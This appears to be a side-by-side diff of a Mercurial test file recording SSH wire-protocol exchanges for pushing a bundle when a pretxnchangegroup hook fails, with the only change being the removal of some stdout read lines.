316 | i> HG10UN\x00\x00\x00\x9eh\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00h\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00>cba485ca3678256e044428f70f58291196f6e9de\n |
|
313 | i> HG10UN\x00\x00\x00\x9eh\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00h\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00>cba485ca3678256e044428f70f58291196f6e9de\n | |
317 | i> test\n |
|
314 | i> test\n | |
318 | i> 0 0\n |
|
315 | i> 0 0\n | |
319 | i> foo\n |
|
316 | i> foo\n | |
320 | i> \n |
|
317 | i> \n | |
321 | i> initial\x00\x00\x00\x00\x00\x00\x00\x8d\xcb\xa4\x85\xca6x%n\x04D(\xf7\x0fX)\x11\x96\xf6\xe9\xde\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00h\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00-foo\x00362fef284ce2ca02aecc8de6d5e8a1c3af0556fe\n |
|
318 | i> initial\x00\x00\x00\x00\x00\x00\x00\x8d\xcb\xa4\x85\xca6x%n\x04D(\xf7\x0fX)\x11\x96\xf6\xe9\xde\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00h\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00-foo\x00362fef284ce2ca02aecc8de6d5e8a1c3af0556fe\n | |
322 | i> \x00\x00\x00\x00\x00\x00\x00\x07foo\x00\x00\x00b6/\xef(L\xe2\xca\x02\xae\xcc\x8d\xe6\xd5\xe8\xa1\xc3\xaf\x05V\xfe\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00h\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x020\n |
|
319 | i> \x00\x00\x00\x00\x00\x00\x00\x07foo\x00\x00\x00b6/\xef(L\xe2\xca\x02\xae\xcc\x8d\xe6\xd5\xe8\xa1\xc3\xaf\x05V\xfe\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00h\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x020\n | |
323 | i> \x00\x00\x00\x00\x00\x00\x00\x00 |
|
320 | i> \x00\x00\x00\x00\x00\x00\x00\x00 | |
324 | i> write(2) -> 2: |
|
321 | i> write(2) -> 2: | |
325 | i> 0\n |
|
322 | i> 0\n | |
326 | i> flush() -> None |
|
323 | i> flush() -> None | |
327 | o> readline() -> 2: |
|
324 | o> readline() -> 2: | |
328 | o> 0\n |
|
325 | o> 0\n | |
329 | o> readline() -> 2: |
|
326 | o> readline() -> 2: | |
330 | o> 1\n |
|
327 | o> 1\n | |
331 | o> read(1) -> 1: 0 |
|
328 | o> read(1) -> 1: 0 | |
332 | result: 0 |
|
329 | result: 0 | |
333 | remote output: |
|
330 | remote output: | |
334 | o> read(-1) -> 0: |
|
|||
335 | e> read(-1) -> 196: |
|
331 | e> read(-1) -> 196: | |
336 | e> adding changesets\n |
|
332 | e> adding changesets\n | |
337 | e> adding manifests\n |
|
333 | e> adding manifests\n | |
338 | e> adding file changes\n |
|
334 | e> adding file changes\n | |
339 | e> added 1 changesets with 1 changes to 1 files\n |
|
335 | e> added 1 changesets with 1 changes to 1 files\n | |
340 | e> ui.write 1 line\n |
|
336 | e> ui.write 1 line\n | |
341 | e> transaction abort!\n |
|
337 | e> transaction abort!\n | |
342 | e> rollback completed\n |
|
338 | e> rollback completed\n | |
343 | e> abort: pretxnchangegroup.fail hook failed\n |
|
339 | e> abort: pretxnchangegroup.fail hook failed\n | |
344 |
|
340 | |||
345 | And a variation that writes multiple lines using ui.write |
|
341 | And a variation that writes multiple lines using ui.write | |
346 |
|
342 | |||
347 | $ cat > .hg/hgrc << EOF |
|
343 | $ cat > .hg/hgrc << EOF | |
348 | > [hooks] |
|
344 | > [hooks] | |
349 | > pretxnchangegroup.fail = python:$TESTTMP/failhook:hook2lines |
|
345 | > pretxnchangegroup.fail = python:$TESTTMP/failhook:hook2lines | |
350 | > EOF |
|
346 | > EOF | |
351 |
|
347 | |||
352 | $ debugwireproto << EOF |
|
348 | $ debugwireproto << EOF | |
353 | > command unbundle |
|
349 | > command unbundle | |
354 | > # This is "force" in hex. |
|
350 | > # This is "force" in hex. | |
355 | > heads 666f726365 |
|
351 | > heads 666f726365 | |
356 | > PUSHFILE ../initial.v1.hg |
|
352 | > PUSHFILE ../initial.v1.hg | |
357 | > readavailable |
|
353 | > readavailable | |
358 | > EOF |
|
354 | > EOF | |
359 | testing ssh1 |
|
355 | testing ssh1 | |
360 | creating ssh peer from handshake results |
|
356 | creating ssh peer from handshake results | |
361 | i> write(104) -> 104: |
|
357 | i> write(104) -> 104: | |
362 | i> hello\n |
|
358 | i> hello\n | |
363 | i> between\n |
|
359 | i> between\n | |
364 | i> pairs 81\n |
|
360 | i> pairs 81\n | |
365 | i> 0000000000000000000000000000000000000000-0000000000000000000000000000000000000000 |
|
361 | i> 0000000000000000000000000000000000000000-0000000000000000000000000000000000000000 | |
366 | i> flush() -> None |
|
362 | i> flush() -> None | |
367 | o> readline() -> 4: |
|
363 | o> readline() -> 4: | |
368 | o> 413\n |
|
364 | o> 413\n | |
369 | o> readline() -> 413: |
|
365 | o> readline() -> 413: | |
370 | o> capabilities: batch branchmap $USUAL_BUNDLE2_CAPS_SERVER$ changegroupsubset getbundle known lookup protocaps pushkey streamreqs=generaldelta,revlogv1 unbundle=HG10GZ,HG10BZ,HG10UN unbundlehash\n |
|
366 | o> capabilities: batch branchmap $USUAL_BUNDLE2_CAPS_SERVER$ changegroupsubset getbundle known lookup protocaps pushkey streamreqs=generaldelta,revlogv1 unbundle=HG10GZ,HG10BZ,HG10UN unbundlehash\n | |
371 | o> readline() -> 2: |
|
367 | o> readline() -> 2: | |
372 | o> 1\n |
|
368 | o> 1\n | |
373 | o> readline() -> 1: |
|
369 | o> readline() -> 1: | |
374 | o> \n |
|
370 | o> \n | |
375 | sending unbundle command |
|
371 | sending unbundle command | |
376 | i> write(9) -> 9: |
|
372 | i> write(9) -> 9: | |
377 | i> unbundle\n |
|
373 | i> unbundle\n | |
378 | i> write(9) -> 9: |
|
374 | i> write(9) -> 9: | |
379 | i> heads 10\n |
|
375 | i> heads 10\n | |
380 | i> write(10) -> 10: 666f726365 |
|
376 | i> write(10) -> 10: 666f726365 | |
381 | i> flush() -> None |
|
377 | i> flush() -> None | |
382 | o> readline() -> 2: |
|
378 | o> readline() -> 2: | |
383 | o> 0\n |
|
379 | o> 0\n | |
384 | i> write(4) -> 4: |
|
380 | i> write(4) -> 4: | |
385 | i> 426\n |
|
381 | i> 426\n | |
386 | i> write(426) -> 426: |
|
382 | i> write(426) -> 426: | |
387 | i> HG10UN\x00\x00\x00\x9eh\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00h\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00>cba485ca3678256e044428f70f58291196f6e9de\n |
|
383 | i> HG10UN\x00\x00\x00\x9eh\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00h\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00>cba485ca3678256e044428f70f58291196f6e9de\n | |
388 | i> test\n |
|
384 | i> test\n | |
389 | i> 0 0\n |
|
385 | i> 0 0\n | |
390 | i> foo\n |
|
386 | i> foo\n | |
391 | i> \n |
|
387 | i> \n | |
392 | i> initial\x00\x00\x00\x00\x00\x00\x00\x8d\xcb\xa4\x85\xca6x%n\x04D(\xf7\x0fX)\x11\x96\xf6\xe9\xde\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00h\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00-foo\x00362fef284ce2ca02aecc8de6d5e8a1c3af0556fe\n |
|
388 | i> initial\x00\x00\x00\x00\x00\x00\x00\x8d\xcb\xa4\x85\xca6x%n\x04D(\xf7\x0fX)\x11\x96\xf6\xe9\xde\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00h\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00-foo\x00362fef284ce2ca02aecc8de6d5e8a1c3af0556fe\n | |
393 | i> \x00\x00\x00\x00\x00\x00\x00\x07foo\x00\x00\x00b6/\xef(L\xe2\xca\x02\xae\xcc\x8d\xe6\xd5\xe8\xa1\xc3\xaf\x05V\xfe\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00h\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x020\n |
|
389 | i> \x00\x00\x00\x00\x00\x00\x00\x07foo\x00\x00\x00b6/\xef(L\xe2\xca\x02\xae\xcc\x8d\xe6\xd5\xe8\xa1\xc3\xaf\x05V\xfe\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00h\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x020\n | |
394 | i> \x00\x00\x00\x00\x00\x00\x00\x00 |
|
390 | i> \x00\x00\x00\x00\x00\x00\x00\x00 | |
395 | i> write(2) -> 2: |
|
391 | i> write(2) -> 2: | |
396 | i> 0\n |
|
392 | i> 0\n | |
397 | i> flush() -> None |
|
393 | i> flush() -> None | |
398 | o> readline() -> 2: |
|
394 | o> readline() -> 2: | |
399 | o> 0\n |
|
395 | o> 0\n | |
400 | o> readline() -> 2: |
|
396 | o> readline() -> 2: | |
401 | o> 1\n |
|
397 | o> 1\n | |
402 | o> read(1) -> 1: 0 |
|
398 | o> read(1) -> 1: 0 | |
403 | result: 0 |
|
399 | result: 0 | |
404 | remote output: |
|
400 | remote output: | |
405 | o> read(-1) -> 0: |
|
|||
406 | e> read(-1) -> 218: |
|
401 | e> read(-1) -> 218: | |
407 | e> adding changesets\n |
|
402 | e> adding changesets\n | |
408 | e> adding manifests\n |
|
403 | e> adding manifests\n | |
409 | e> adding file changes\n |
|
404 | e> adding file changes\n | |
410 | e> added 1 changesets with 1 changes to 1 files\n |
|
405 | e> added 1 changesets with 1 changes to 1 files\n | |
411 | e> ui.write 2 lines 1\n |
|
406 | e> ui.write 2 lines 1\n | |
412 | e> ui.write 2 lines 2\n |
|
407 | e> ui.write 2 lines 2\n | |
413 | e> transaction abort!\n |
|
408 | e> transaction abort!\n | |
414 | e> rollback completed\n |
|
409 | e> rollback completed\n | |
415 | e> abort: pretxnchangegroup.fail hook failed\n |
|
410 | e> abort: pretxnchangegroup.fail hook failed\n | |
416 |
|
411 | |||
417 | testing ssh2 |
|
412 | testing ssh2 | |
418 | creating ssh peer from handshake results |
|
413 | creating ssh peer from handshake results | |
419 | i> write(171) -> 171: |
|
414 | i> write(171) -> 171: | |
420 | i> upgrade * proto=exp-ssh-v2-0001\n (glob) |
|
415 | i> upgrade * proto=exp-ssh-v2-0001\n (glob) | |
421 | i> hello\n |
|
416 | i> hello\n | |
422 | i> between\n |
|
417 | i> between\n | |
423 | i> pairs 81\n |
|
418 | i> pairs 81\n | |
424 | i> 0000000000000000000000000000000000000000-0000000000000000000000000000000000000000 |
|
419 | i> 0000000000000000000000000000000000000000-0000000000000000000000000000000000000000 | |
425 | i> flush() -> None |
|
420 | i> flush() -> None | |
426 | o> readline() -> 62: |
|
421 | o> readline() -> 62: | |
427 | o> upgraded * exp-ssh-v2-0001\n (glob) |
|
422 | o> upgraded * exp-ssh-v2-0001\n (glob) | |
428 | o> readline() -> 4: |
|
423 | o> readline() -> 4: | |
429 | o> 412\n |
|
424 | o> 412\n | |
430 | o> read(412) -> 412: capabilities: batch branchmap $USUAL_BUNDLE2_CAPS_SERVER$ changegroupsubset getbundle known lookup protocaps pushkey streamreqs=generaldelta,revlogv1 unbundle=HG10GZ,HG10BZ,HG10UN unbundlehash |
|
425 | o> read(412) -> 412: capabilities: batch branchmap $USUAL_BUNDLE2_CAPS_SERVER$ changegroupsubset getbundle known lookup protocaps pushkey streamreqs=generaldelta,revlogv1 unbundle=HG10GZ,HG10BZ,HG10UN unbundlehash | |
431 | o> read(1) -> 1: |
|
426 | o> read(1) -> 1: | |
432 | o> \n |
|
427 | o> \n | |
433 | sending unbundle command |
|
428 | sending unbundle command | |
434 | i> write(9) -> 9: |
|
429 | i> write(9) -> 9: | |
435 | i> unbundle\n |
|
430 | i> unbundle\n | |
436 | i> write(9) -> 9: |
|
431 | i> write(9) -> 9: | |
437 | i> heads 10\n |
|
432 | i> heads 10\n | |
438 | i> write(10) -> 10: 666f726365 |
|
433 | i> write(10) -> 10: 666f726365 | |
439 | i> flush() -> None |
|
434 | i> flush() -> None | |
440 | o> readline() -> 2: |
|
435 | o> readline() -> 2: | |
441 | o> 0\n |
|
436 | o> 0\n | |
442 | i> write(4) -> 4: |
|
437 | i> write(4) -> 4: | |
443 | i> 426\n |
|
438 | i> 426\n | |
444 | i> write(426) -> 426: |
|
439 | i> write(426) -> 426: | |
445 | i> HG10UN\x00\x00\x00\x9eh\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00h\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00>cba485ca3678256e044428f70f58291196f6e9de\n |
|
440 | i> HG10UN\x00\x00\x00\x9eh\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00h\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00>cba485ca3678256e044428f70f58291196f6e9de\n | |
446 | i> test\n |
|
441 | i> test\n | |
447 | i> 0 0\n |
|
442 | i> 0 0\n | |
448 | i> foo\n |
|
443 | i> foo\n | |
449 | i> \n |
|
444 | i> \n | |
450 | i> initial\x00\x00\x00\x00\x00\x00\x00\x8d\xcb\xa4\x85\xca6x%n\x04D(\xf7\x0fX)\x11\x96\xf6\xe9\xde\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00h\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00-foo\x00362fef284ce2ca02aecc8de6d5e8a1c3af0556fe\n |
|
445 | i> initial\x00\x00\x00\x00\x00\x00\x00\x8d\xcb\xa4\x85\xca6x%n\x04D(\xf7\x0fX)\x11\x96\xf6\xe9\xde\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00h\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00-foo\x00362fef284ce2ca02aecc8de6d5e8a1c3af0556fe\n | |
451 | i> \x00\x00\x00\x00\x00\x00\x00\x07foo\x00\x00\x00b6/\xef(L\xe2\xca\x02\xae\xcc\x8d\xe6\xd5\xe8\xa1\xc3\xaf\x05V\xfe\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00h\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x020\n |
|
446 | i> \x00\x00\x00\x00\x00\x00\x00\x07foo\x00\x00\x00b6/\xef(L\xe2\xca\x02\xae\xcc\x8d\xe6\xd5\xe8\xa1\xc3\xaf\x05V\xfe\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00h\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x020\n | |
452 | i> \x00\x00\x00\x00\x00\x00\x00\x00 |
|
447 | i> \x00\x00\x00\x00\x00\x00\x00\x00 | |
453 | i> write(2) -> 2: |
|
448 | i> write(2) -> 2: | |
454 | i> 0\n |
|
449 | i> 0\n | |
455 | i> flush() -> None |
|
450 | i> flush() -> None | |
456 | o> readline() -> 2: |
|
451 | o> readline() -> 2: | |
457 | o> 0\n |
|
452 | o> 0\n | |
458 | o> readline() -> 2: |
|
453 | o> readline() -> 2: | |
459 | o> 1\n |
|
454 | o> 1\n | |
460 | o> read(1) -> 1: 0 |
|
455 | o> read(1) -> 1: 0 | |
461 | result: 0 |
|
456 | result: 0 | |
462 | remote output: |
|
457 | remote output: | |
463 | o> read(-1) -> 0: |
|
|||
464 | e> read(-1) -> 218: |
|
458 | e> read(-1) -> 218: | |
465 | e> adding changesets\n |
|
459 | e> adding changesets\n | |
466 | e> adding manifests\n |
|
460 | e> adding manifests\n | |
467 | e> adding file changes\n |
|
461 | e> adding file changes\n | |
468 | e> added 1 changesets with 1 changes to 1 files\n |
|
462 | e> added 1 changesets with 1 changes to 1 files\n | |
469 | e> ui.write 2 lines 1\n |
|
463 | e> ui.write 2 lines 1\n | |
470 | e> ui.write 2 lines 2\n |
|
464 | e> ui.write 2 lines 2\n | |
471 | e> transaction abort!\n |
|
465 | e> transaction abort!\n | |
472 | e> rollback completed\n |
|
466 | e> rollback completed\n | |
473 | e> abort: pretxnchangegroup.fail hook failed\n |
|
467 | e> abort: pretxnchangegroup.fail hook failed\n | |
474 |
|
468 | |||
475 | And a variation that does a ui.flush() after writing output |
|
469 | And a variation that does a ui.flush() after writing output | |
476 |
|
470 | |||
477 | $ cat > .hg/hgrc << EOF |
|
471 | $ cat > .hg/hgrc << EOF | |
478 | > [hooks] |
|
472 | > [hooks] | |
479 | > pretxnchangegroup.fail = python:$TESTTMP/failhook:hook1lineflush |
|
473 | > pretxnchangegroup.fail = python:$TESTTMP/failhook:hook1lineflush | |
480 | > EOF |
|
474 | > EOF | |
481 |
|
475 | |||
482 | $ debugwireproto << EOF |
|
476 | $ debugwireproto << EOF | |
483 | > command unbundle |
|
477 | > command unbundle | |
484 | > # This is "force" in hex. |
|
478 | > # This is "force" in hex. | |
485 | > heads 666f726365 |
|
479 | > heads 666f726365 | |
486 | > PUSHFILE ../initial.v1.hg |
|
480 | > PUSHFILE ../initial.v1.hg | |
487 | > readavailable |
|
481 | > readavailable | |
488 | > EOF |
|
482 | > EOF | |
489 | testing ssh1 |
|
483 | testing ssh1 | |
490 | creating ssh peer from handshake results |
|
484 | creating ssh peer from handshake results | |
491 | i> write(104) -> 104: |
|
485 | i> write(104) -> 104: | |
492 | i> hello\n |
|
486 | i> hello\n | |
493 | i> between\n |
|
487 | i> between\n | |
494 | i> pairs 81\n |
|
488 | i> pairs 81\n | |
495 | i> 0000000000000000000000000000000000000000-0000000000000000000000000000000000000000 |
|
489 | i> 0000000000000000000000000000000000000000-0000000000000000000000000000000000000000 | |
496 | i> flush() -> None |
|
490 | i> flush() -> None | |
497 | o> readline() -> 4: |
|
491 | o> readline() -> 4: | |
498 | o> 413\n |
|
492 | o> 413\n | |
499 | o> readline() -> 413: |
|
493 | o> readline() -> 413: | |
500 | o> capabilities: batch branchmap $USUAL_BUNDLE2_CAPS_SERVER$ changegroupsubset getbundle known lookup protocaps pushkey streamreqs=generaldelta,revlogv1 unbundle=HG10GZ,HG10BZ,HG10UN unbundlehash\n |
|
494 | o> capabilities: batch branchmap $USUAL_BUNDLE2_CAPS_SERVER$ changegroupsubset getbundle known lookup protocaps pushkey streamreqs=generaldelta,revlogv1 unbundle=HG10GZ,HG10BZ,HG10UN unbundlehash\n | |
501 | o> readline() -> 2: |
|
495 | o> readline() -> 2: | |
502 | o> 1\n |
|
496 | o> 1\n | |
503 | o> readline() -> 1: |
|
497 | o> readline() -> 1: | |
504 | o> \n |
|
498 | o> \n | |
505 | sending unbundle command |
|
499 | sending unbundle command | |
506 | i> write(9) -> 9: |
|
500 | i> write(9) -> 9: | |
507 | i> unbundle\n |
|
501 | i> unbundle\n | |
508 | i> write(9) -> 9: |
|
502 | i> write(9) -> 9: | |
509 | i> heads 10\n |
|
503 | i> heads 10\n | |
510 | i> write(10) -> 10: 666f726365 |
|
504 | i> write(10) -> 10: 666f726365 | |
511 | i> flush() -> None |
|
505 | i> flush() -> None | |
512 | o> readline() -> 2: |
|
506 | o> readline() -> 2: | |
513 | o> 0\n |
|
507 | o> 0\n | |
514 | i> write(4) -> 4: |
|
508 | i> write(4) -> 4: | |
515 | i> 426\n |
|
509 | i> 426\n | |
516 | i> write(426) -> 426: |
|
510 | i> write(426) -> 426: | |
517 | i> HG10UN\x00\x00\x00\x9eh\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00h\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00>cba485ca3678256e044428f70f58291196f6e9de\n |
|
511 | i> HG10UN\x00\x00\x00\x9eh\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00h\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00>cba485ca3678256e044428f70f58291196f6e9de\n | |
518 | i> test\n |
|
512 | i> test\n | |
519 | i> 0 0\n |
|
513 | i> 0 0\n | |
520 | i> foo\n |
|
514 | i> foo\n | |
521 | i> \n |
|
515 | i> \n | |
522 | i> initial\x00\x00\x00\x00\x00\x00\x00\x8d\xcb\xa4\x85\xca6x%n\x04D(\xf7\x0fX)\x11\x96\xf6\xe9\xde\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00h\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00-foo\x00362fef284ce2ca02aecc8de6d5e8a1c3af0556fe\n |
|
516 | i> initial\x00\x00\x00\x00\x00\x00\x00\x8d\xcb\xa4\x85\xca6x%n\x04D(\xf7\x0fX)\x11\x96\xf6\xe9\xde\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00h\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00-foo\x00362fef284ce2ca02aecc8de6d5e8a1c3af0556fe\n | |
523 | i> \x00\x00\x00\x00\x00\x00\x00\x07foo\x00\x00\x00b6/\xef(L\xe2\xca\x02\xae\xcc\x8d\xe6\xd5\xe8\xa1\xc3\xaf\x05V\xfe\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00h\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x020\n |
|
517 | i> \x00\x00\x00\x00\x00\x00\x00\x07foo\x00\x00\x00b6/\xef(L\xe2\xca\x02\xae\xcc\x8d\xe6\xd5\xe8\xa1\xc3\xaf\x05V\xfe\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00h\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x020\n | |
524 | i> \x00\x00\x00\x00\x00\x00\x00\x00 |
|
518 | i> \x00\x00\x00\x00\x00\x00\x00\x00 | |
525 | i> write(2) -> 2: |
|
519 | i> write(2) -> 2: | |
526 | i> 0\n |
|
520 | i> 0\n | |
527 | i> flush() -> None |
|
521 | i> flush() -> None | |
528 | o> readline() -> 2: |
|
522 | o> readline() -> 2: | |
529 | o> 0\n |
|
523 | o> 0\n | |
530 | o> readline() -> 2: |
|
524 | o> readline() -> 2: | |
531 | o> 1\n |
|
525 | o> 1\n | |
532 | o> read(1) -> 1: 0 |
|
526 | o> read(1) -> 1: 0 | |
533 | result: 0 |
|
527 | result: 0 | |
534 | remote output: |
|
528 | remote output: | |
535 | o> read(-1) -> 0: |
|
|||
536 | e> read(-1) -> 202: |
|
529 | e> read(-1) -> 202: | |
537 | e> adding changesets\n |
|
530 | e> adding changesets\n | |
538 | e> adding manifests\n |
|
531 | e> adding manifests\n | |
539 | e> adding file changes\n |
|
532 | e> adding file changes\n | |
540 | e> added 1 changesets with 1 changes to 1 files\n |
|
533 | e> added 1 changesets with 1 changes to 1 files\n | |
